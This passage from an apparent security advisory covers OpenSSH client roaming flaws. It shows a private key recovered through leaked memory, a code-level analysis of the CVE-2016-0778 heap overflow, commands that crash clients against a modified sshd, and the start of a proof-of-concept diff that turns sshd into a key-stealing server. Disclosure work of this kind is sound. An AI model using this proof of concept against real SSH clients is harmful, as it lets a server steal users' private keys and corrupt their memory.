KEY-----\nMIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz\nHLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp\no9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ\n/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy\n2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr\nHiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\njwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm\nqK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\nZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-a2bbc5f6/infoleak\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG\n\n# strings /tmp/roaming-47b46456/infoleak\nRGAcE0nc\nGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9\n\n# strings /tmp/roaming-7a6717ae/infoleak\ncawMW4LZ1\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p\n\n# strings /tmp/roaming-f3091f08/infoleak\nlZ3w0qHe\nnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\n\n# strings /tmp/roaming-62a9e9a3/infoleak\nlZ3w0qHe\nr3TwTa0pPEk11\nLbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37P\n\n# strings /tmp/roaming-8de31ed5/infoleak\n7qyvNznQ\n26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\n\n# strings /tmp/roaming-f5e0fbcc/infoleak\nyESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxS\n\n# strings /tmp/roaming-9be933df/infoleak\nQRtzK/GpRuMC1\nC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT\n\n# strings /tmp/roaming-ee4d1e6c/infoleak\nSG3aTqYp\ntEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s\n\n# strings /tmp/roaming-c2bfd69c/infoleak\nSG3aTqYp\n6JmTOun5zVV6A\nH6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s\n\n# strings /tmp/roaming-2b3217a1/infoleak\nDGLfFGdO\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ\n\n# strings /tmp/roaming-1e275747/infoleak\ng3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\n\n\n========================================================================\nBuffer Overflow (CVE-2016-0778)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nSupport for roaming was elegantly added to the OpenSSH client: the calls\nto read() and write() that communicate with the SSH server were replaced\nby calls to roaming_read() and roaming_write(), two wrappers that depend\non wait_for_roaming_reconnect() to transparently reconnect to the server\nafter a disconnection. The wait_for_roaming_reconnect() routine is\nessentially a sequence of four subroutines:\n\n239 int\n240 wait_for_roaming_reconnect(void)\n241 {\n... \n250 fprintf(stderr, \"[connection suspended, press return to resume]\");\n... \n252 packet_backup_state();\n253 /* TODO Perhaps we should read from tty here */\n254 while ((c = fgetc(stdin)) != EOF) {\n... \n259 if (c != \u0027\\n\u0027 \u0026\u0026 c != \u0027\\r\u0027)\n260 continue;\n261\n262 if (ssh_connect(host, \u0026hostaddr, options.port,\n... \n265 options.proxy_command) == 0 \u0026\u0026 roaming_resume() == 0) {\n266 packet_restore_state();\n... \n268 fprintf(stderr, \"[connection resumed]\\n\");\n... \n270 return 0;\n271 }\n272\n273 fprintf(stderr, \"[reconnect failed, press return to retry]\");\n... \n275 }\n276 fprintf(stderr, \"[exiting]\\n\");\n... \n278 exit(0);\n279 }\n\n1. packet_backup_state() close()s connection_in and connection_out (the\nold file descriptors that connected the client to the server), and saves\nthe state of the suspended SSH session (for example, the encryption and\ndecryption contexts). \n\n2. ssh_connect() opens new file descriptors, and connects them to the\nSSH server. \n\n3. roaming_resume() negotiates the resumption of the suspended SSH\nsession with the server, and calls resend_bytes(). \n\n4. packet_restore_state() updates connection_in and connection_out (with\nthe new file descriptors that connect the client to the server), and\nrestores the state of the suspended SSH session. \n\nThe new file descriptors for connection_in and connection_out may differ\nfrom the old ones (if, for example, files or pipes or sockets are opened\nor closed between two successive ssh_connect() calls), but unfortunately\nhistorical code in OpenSSH assumes that they are constant:\n\n- In client_loop(), the variables connection_in and connection_out are\n cached locally, but packet_write_poll() calls roaming_write(), which\n may assign new values to connection_in and connection_out (if a\n reconnection occurs), and client_wait_until_can_do_something()\n subsequently reuses the old, cached values. \n\n- client_loop() eventually updates these cached values, and the\n following FD_ISSET() uses a new, updated file descriptor (the fd\n connection_out), but an old, out-of-date file descriptor set (the\n fd_set writeset). \n\n- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)\n first calloc()ates setp, a file descriptor set for connection_in;\n next, it loops around memset(), FD_SET(), select() and roaming_read();\n last, it free()s setp and returns. Unfortunately, roaming_read() may\n reassign a higher value to connection_in (if a reconnection occurs),\n but setp is never enlarged, and the following memset() and FD_SET()\n may therefore overflow setp (a heap-based buffer overflow):\n\n1048 int\n1049 packet_read_seqnr(u_int32_t *seqnr_p)\n1050 {\n.... \n1052 fd_set *setp;\n.... \n1058 setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_in + 1,\n1059 NFDBITS), sizeof(fd_mask));\n.... \n1065 for (;;) {\n.... \n1075 if (type != SSH_MSG_NONE) {\n1076 free(setp);\n1077 return type;\n1078 }\n.... \n1083 memset(setp, 0, howmany(active_state-\u003econnection_in + 1,\n1084 NFDBITS) * sizeof(fd_mask));\n1085 FD_SET(active_state-\u003econnection_in, setp);\n.... \n1092 for (;;) {\n.... \n1097 if ((ret = select(active_state-\u003econnection_in + 1, setp,\n1098 NULL, NULL, timeoutp)) \u003e= 0)\n1099 break;\n.... \n1115 }\n.... \n1117 do {\n.... \n1119 len = roaming_read(active_state-\u003econnection_in, buf,\n1120 sizeof(buf), \u0026cont);\n1121 } while (len == 0 \u0026\u0026 cont);\n.... \n1130 }\n1131 /* NOTREACHED */\n1132 }\n\n- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is\n basically similar to packet_read_seqnr() and may overflow its own setp\n if roaming_write() (called by packet_write_poll()) reassigns a higher\n value to connection_out (after a successful reconnection):\n\n1739 void\n1740 packet_write_wait(void)\n1741 {\n1742 fd_set *setp;\n.... \n1746 setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_out + 1,\n1747 NFDBITS), sizeof(fd_mask));\n1748 packet_write_poll();\n1749 while (packet_have_data_to_write()) {\n1750 memset(setp, 0, howmany(active_state-\u003econnection_out + 1,\n1751 NFDBITS) * sizeof(fd_mask));\n1752 FD_SET(active_state-\u003econnection_out, setp);\n.... \n1758 for (;;) {\n.... \n1763 if ((ret = select(active_state-\u003econnection_out + 1,\n1764 NULL, setp, NULL, timeoutp)) \u003e= 0)\n1765 break;\n.... \n1776 }\n.... \n1782 packet_write_poll();\n1783 }\n1784 free(setp);\n1785 }\n\n------------------------------------------------------------------------\nMitigating Factors\n------------------------------------------------------------------------\n\nThis buffer overflow affects all OpenSSH clients \u003e= 5.4, but its impact\nis significantly reduced by the Mitigating Factors detailed in the\nInformation Leak section, and additionally:\n\n- OpenSSH versions \u003e= 6.8 reimplement packet_backup_state() and\n packet_restore_state(), but introduce a bug that prevents the buffer\n overflow from being exploited; indeed, ssh_packet_backup_state() swaps\n two local pointers, ssh and backup_state, instead of swapping the two\n global pointers active_state and backup_state:\n\n 9 struct ssh *active_state, *backup_state;\n... \n238 void\n239 packet_backup_state(void)\n240 {\n241 ssh_packet_backup_state(active_state, backup_state);\n242 }\n243\n244 void\n245 packet_restore_state(void)\n246 {\n247 ssh_packet_restore_state(active_state, backup_state);\n248 }\n\n2269 void\n2270 ssh_packet_backup_state(struct ssh *ssh,\n2271 struct ssh *backup_state)\n2272 {\n2273 struct ssh *tmp;\n.... \n2279 if (backup_state)\n2280 tmp = backup_state;\n2281 else\n2282 tmp = ssh_alloc_session_state();\n2283 backup_state = ssh;\n2284 ssh = tmp;\n2285 }\n.... \n2291 void\n2292 ssh_packet_restore_state(struct ssh *ssh,\n2293 struct ssh *backup_state)\n2294 {\n2295 struct ssh *tmp;\n.... \n2299 tmp = backup_state;\n2300 backup_state = ssh;\n2301 ssh = tmp;\n2302 ssh-\u003estate-\u003econnection_in = backup_state-\u003estate-\u003econnection_in;\n\n As a result, the global pointer backup_state is still NULL when passed\n to ssh_packet_restore_state(), and crashes the OpenSSH client when\n dereferenced:\n\n# env ROAMING=\"overflow:A fd_leaks:0\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 15 %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n This bug prevents the buffer overflow from being exploited, but not\n the information leak, because the vulnerable function resend_bytes()\n is called before ssh_packet_restore_state() crashes. \n\n------------------------------------------------------------------------\nFile Descriptor Leak\n------------------------------------------------------------------------\n\nA back-of-the-envelope calculation indicates that, in order to increase\nthe file descriptor connection_in or connection_out, and thus overflow\nthe file descriptor set setp in packet_read_seqnr() or\npacket_write_wait(), a file descriptor leak is needed:\n\n- First, the number of bytes calloc()ated for setp is rounded up to the\n nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)\n on 64-bit systems. \n\n- Next, in glibc, this number is rounded up to the nearest multiple of\n MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit\n systems. \n\n- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit\n systems, of which 24 bytes (or 192 file descriptors) are reserved for\n setp. \n\n- In conclusion, a file descriptor leak is needed, because connection_in\n or connection_out has to be increased by hundreds in order to overflow\n setp. \n\nThe search for a suitable file descriptor leak begins with a study of\nthe behavior of the four ssh_connect() methods, when called for a\nreconnection by wait_for_roaming_reconnect():\n\n1. The default method ssh_connect_direct() communicates with the server\nthrough a simple TCP socket: the two file descriptors connection_in and\nconnection_out are both equal to this socket\u0027s file descriptor. \n\nIn wait_for_roaming_reconnect(), the low-numbered file descriptor of the\nold TCP socket is close()d by packet_backup_state(), but immediately\nreused for the new TCP socket in ssh_connect_direct(): the new file\ndescriptors connection_in and connection_out are equal to this old,\nlow-numbered file descriptor, and cannot possibly overflow setp. \n\n2. The special ProxyCommand \"-\" communicates with the server through\nstdin and stdout, but (as explained in the Mitigating Factors of the\nInformation Leak section) it cannot possibly reconnect to the server,\nand is therefore immune to this buffer overflow. \n\n3. Surprisingly, we discovered a file descriptor leak in the\nssh_proxy_fdpass_connect() method itself; indeed, the file descriptor\nsp[1] is never close()d:\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103 const char *proxy_command)\n 104 {\n ... \n 106 int sp[2], sock;\n ... \n 113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) \u003c 0)\n 114 fatal(\"Could not create socketpair to communicate with \"\n 115 \"proxy dialer: %.100s\", strerror(errno));\n ... \n 161 close(sp[0]);\n ... \n 164 if ((sock = mm_receive_fd(sp[1])) == -1)\n 165 fatal(\"proxy dialer did not pass back a connection\");\n ... \n 171 /* Set the connection file descriptors. */\n 172 packet_set_connection(sock, sock);\n 173\n 174 return 0;\n 175 }\n\nHowever, two different reasons prevent this file descriptor leak from\ntriggering the setp overflow:\n\n- The method ssh_proxy_fdpass_connect() communicates with the server\n through a single socket received from the ProxyCommand: the two file\n descriptors connection_in and connection_out are both equal to this\n socket\u0027s file descriptor. \n\n In wait_for_roaming_reconnect(), the low-numbered file descriptor of\n the old socket is close()d by packet_backup_state(), reused for sp[0]\n in ssh_proxy_fdpass_connect(), close()d again, and eventually reused\n again for the new socket: the new file descriptors connection_in and\n connection_out are equal to this old, low-numbered file descriptor,\n and cannot possibly overflow setp. \n\n- Because of the waitpid() bug described in the Mitigating Factors of\n the Information Leak section, the method ssh_proxy_fdpass_connect()\n calls fatal() before it returns to wait_for_roaming_reconnect(), and\n is therefore immune to this buffer overflow. \n\n4. The method ssh_proxy_connect() communicates with the server through a\nProxyCommand and two different pipes: the file descriptor connection_in\nis the read end of the second pipe (pout[0]), and the file descriptor\nconnection_out is the write end of the first pipe (pin[1]):\n\n 180 static int\n 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)\n 182 {\n ... \n 184 int pin[2], pout[2];\n ... \n 192 if (pipe(pin) \u003c 0 || pipe(pout) \u003c 0)\n 193 fatal(\"Could not create pipes to communicate with the proxy: %.100s\",\n 194 strerror(errno));\n ... \n 240 /* Close child side of the descriptors. */\n 241 close(pin[0]);\n 242 close(pout[1]);\n ... \n 247 /* Set the connection file descriptors. */\n 248 packet_set_connection(pout[0], pin[1]);\n 249\n 250 /* Indicate OK return */\n 251 return 0;\n 252 }\n\nIn wait_for_roaming_reconnect(), the two old, low-numbered file\ndescriptors connection_in and connection_out are both close()d by\npacket_backup_state(), and immediately reused for the pipe(pin) in\nssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of\nthese old, low-numbered file descriptors, and cannot possibly overflow\nsetp. \n\nOn the other hand, the pipe(pout) in ssh_proxy_connect() may return\nhigh-numbered file descriptors, and the new connection_in (pout[0]) may\ntherefore overflow setp, if hundreds of file descriptors were leaked\nbefore the call to wait_for_roaming_reconnect():\n\n- We discovered a file descriptor leak in the pubkey_prepare() function\n of OpenSSH \u003e= 6.8; indeed, if the client is running an authentication\n agent that does not offer any private keys, the reference to agent_fd\n is lost, and this file descriptor is never close()d:\n\n1194 static void\n1195 pubkey_prepare(Authctxt *authctxt)\n1196 {\n.... \n1200 int agent_fd, i, r, found;\n.... \n1247 if ((r = ssh_get_authentication_socket(\u0026agent_fd)) != 0) {\n1248 if (r != SSH_ERR_AGENT_NOT_PRESENT)\n1249 debug(\"%s: ssh_get_authentication_socket: %s\",\n1250 __func__, ssh_err(r));\n1251 } else if ((r = ssh_fetch_identitylist(agent_fd, 2, \u0026idlist)) != 0) {\n1252 if (r != SSH_ERR_AGENT_NO_IDENTITIES)\n1253 debug(\"%s: ssh_fetch_identitylist: %s\",\n1254 __func__, ssh_err(r));\n1255 } else {\n.... \n1288 authctxt-\u003eagent_fd = agent_fd;\n1289 }\n.... \n1299 }\n\n However, OpenSSH clients \u003e= 6.8 crash in ssh_packet_restore_state()\n (because of the NULL-pointer dereference discussed in the Mitigating\n Factors of the Buffer Overflow section) and are immune to the setp\n overflow, despite this agent_fd leak. \n\n- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH\n client (it is disabled by default), a malicious SSH server can request\n hundreds of forwardings, in order to increase connection_in (each\n forwarding opens a file descriptor), and thus overflow setp in\n packet_read_seqnr():\n\n# env ROAMING=\"overflow:A\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007f0474d03e70 ***\nAborted (core dumped)\n\n# env ROAMING=\"overflow:X\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/ssh -X -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***\n*** Error in `/usr/bin/ssh\u0027: malloc(): memory corruption: 0x00007fdcc2a3abc0 ***\n\nFinally, a brief digression on two unexpected problems that had to be\nsolved in our proof-of-concept:\n\n- First, setp can be overflowed only in packet_read_seqnr(), not in\n packet_write_wait(), but agent forwarding and X11 forwarding are post-\n authentication functionalities, and post-authentication calls to\n packet_read() or packet_read_expect() are scarce, except in the\n key-exchange code of OpenSSH clients \u003c 6.8: our proof-of-concept\n effectively forces a rekeying in order to overflow setp in\n packet_read_seqnr(). \n\n- Second, after a successful reconnection, packet_read_seqnr() may call\n fatal(\"Read from socket failed: %.100s\", ...), because roaming_read()\n may return EAGAIN (EAGAIN is never returned without the reconnection,\n because the preceding call to select() guarantees that connection_in\n is ready for read()). Our proof-of-concept works around this problem\n by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,\n allowing data to reach the client before roaming_read() is called,\n thus avoiding EAGAIN. \n\n\n========================================================================\nAcknowledgments\n========================================================================\n\nWe would like to thank the OpenSSH developers for their great work and\ntheir incredibly quick response, Red Hat Product Security for promptly\nassigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall\nProject for the interesting discussions. \n\n\n========================================================================\nProof Of Concept\n========================================================================\n\ndiff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c\n--- openssh-6.4p1/auth2-pubkey.c\t2013-07-17 23:10:10.000000000 -0700\n+++ openssh-6.4p1+roaming/auth2-pubkey.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)\n \t\t * if a user is not allowed to login. is this an\n \t\t * issue? -markus\n \t\t */\n-\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key))) {\n+\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key)) || 1) {\n+\t\t\tdebug(\"%s: force client-side load_identity_file\",\n+\t\t\t __func__);\n \t\t\tpacket_start(SSH2_MSG_USERAUTH_PK_OK);\n \t\t\tpacket_put_string(pkalg, alen);\n \t\t\tpacket_put_string(pkblob, blen);\ndiff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c\n--- openssh-6.4p1/kex.c\t2013-06-01 14:31:18.000000000 -0700\n+++ openssh-6.4p1+roaming/kex.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],\n }\n \n static void\n+roaming_reconnect(void)\n+{\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);\n+\tconst u_int id = packet_get_int(); /* roaming_id */\n+\tdebug(\"%s: id %u\", __func__, id);\n+\tpacket_check_eom();\n+\n+\tconst char *const dir = get_roaming_dir(id);\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tconst int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, dir, errno);\n+\tif (fchdir(fd) != 0)\n+\t\tfatal(\"%s: fchdir %s errno %d\", __func__, dir, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, dir, errno);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);\n+\tpacket_put_int64(arc4random()); /* chall */\n+\tpacket_put_int64(arc4random()); /* oldchall */\n+\tpacket_send();\n+\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);\n+\tconst u_int64_t client_read_bytes = packet_get_int64();\n+\tdebug(\"%s: client_read_bytes %llu\", __func__,\n+\t (unsigned long long)client_read_bytes);\n+\tpacket_get_int64(); /* digest (1-8) */\n+\tpacket_get_int64(); /* digest (9-16) */\n+\tpacket_get_int(); /* digest (17-20) */\n+\tpacket_check_eom();\n+\n+\tu_int64_t client_write_bytes;\n+\tsize_t len = sizeof(client_write_bytes);\n+\tload_roaming_file(\"client_write_bytes\", \u0026client_write_bytes, \u0026len);\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t (unsigned long long)client_write_bytes);\n+\n+\tu_int client_out_buf_size;\n+\tlen = sizeof(client_out_buf_size);\n+\tload_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size, \u0026len);\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0 || client_out_buf_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: client_out_buf_size %u\", __func__,\n+\t\t\t client_out_buf_size);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);\n+\tpacket_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);\n+\tpacket_send();\n+\tconst int overflow = (access(\"output\", F_OK) == 0);\n+\tif (overflow != 0) {\n+\t\tconst void *const ptr = load_roaming_file(\"output\", NULL, \u0026len);\n+\t\tbuffer_append(packet_get_output(), ptr, len);\n+\t}\n+\tpacket_write_wait();\n+\n+\tchar *const client_out_buf = xmalloc(client_out_buf_size);\n+\tif (atomicio(read, packet_get_connection_in(), client_out_buf,\n+\t\t\t client_out_buf_size) != client_out_buf_size)\n+\t\tfatal(\"%s: read client_out_buf_size %u errno %d\", __func__,\n+\t\t\t\tclient_out_buf_size, errno);\n+\tif (overflow == 0)\n+\t\tdump_roaming_file(\"infoleak\", client_out_buf,\n+\t\t\t\t\t client_out_buf_size);\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n kex_choose_conf(Kex *kex)\n {\n \tNewkeys *newkeys;\n@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)\n \t\t\tkex-\u003eroaming = 1;\n \t\t\tfree(roaming);\n \t\t}\n+\t} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {\n+\t\troaming_reconnect();\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, KEX_RESUME);\n \t}\n \n \t/* Algorithm Negotiation */\ndiff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h\n--- openssh-6.4p1/roaming.h\t2011-12-18 15:52:52.000000000 -0800\n+++ openssh-6.4p1+roaming/roaming.h\t2016-01-07 01:04:15.000000000 -0800\n@@ -42,4 +42,86 @@ void\tresend_bytes(int, u_int64_t *);\n void\tcalculate_new_key(u_int64_t *, u_int64_t, u_int64_t);\n int\tresume_kex(void);\n \n+#include \u003cfcntl.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \"atomicio.h\"\n+#include \"log.h\"\n+#include \"xmalloc.h\"\n+\n+static inline char *\n+get_roaming_dir(const u_int id)\n+{\n+\tconst size_t buflen = MAXPATHLEN;\n+\tchar *const buf = xmalloc(buflen);\n+\n+\tif ((u_int)snprintf(buf, buflen, \"/tmp/roaming-%08x\", id) \u003e= buflen)\n+\t\tfatal(\"%s: snprintf %u error\", __func__, id);\n+\treturn buf;\n+}\n+\n+static inline void\n+dump_roaming_file(const char *const name,\n+ const void *const buf, const size_t buflen)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buf == NULL)\n+\t\tfatal(\"%s: %s buf %p\", __func__, name, buf);\n+\tif (buflen \u003c= 0 || buflen \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s buflen %lu\", __func__, name, (u_long)buflen);\n+\n+\tconst int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tif (write(fd, buf, buflen) != (ssize_t)buflen)\n+\t\tfatal(\"%s: write %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+}\n+\n+static inline void *\n+load_roaming_file(const char *const name,\n+ void *buf, size_t *const buflenp)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buflenp == NULL)\n+\t\tfatal(\"%s: %s buflenp %p\", __func__, name, buflenp);\n+\n+\tconst int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tstruct stat st;\n+\tif (fstat(fd, \u0026st) != 0)\n+\t\tfatal(\"%s: fstat %s errno %d\", __func__, name, errno);\n+\tif (S_ISREG(st.st_mode) == 0)\n+\t\tfatal(\"%s: %s mode 0%o\", __func__, name, (u_int)st.st_mode);\n+\tif (st.st_size \u003c= 0 || st.st_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s size %lld\", __func__, name,\n+\t\t (long long)st.st_size);\n+\n+\tif (buf == NULL) {\n+\t\t*buflenp = st.st_size;\n+\t\tbuf = 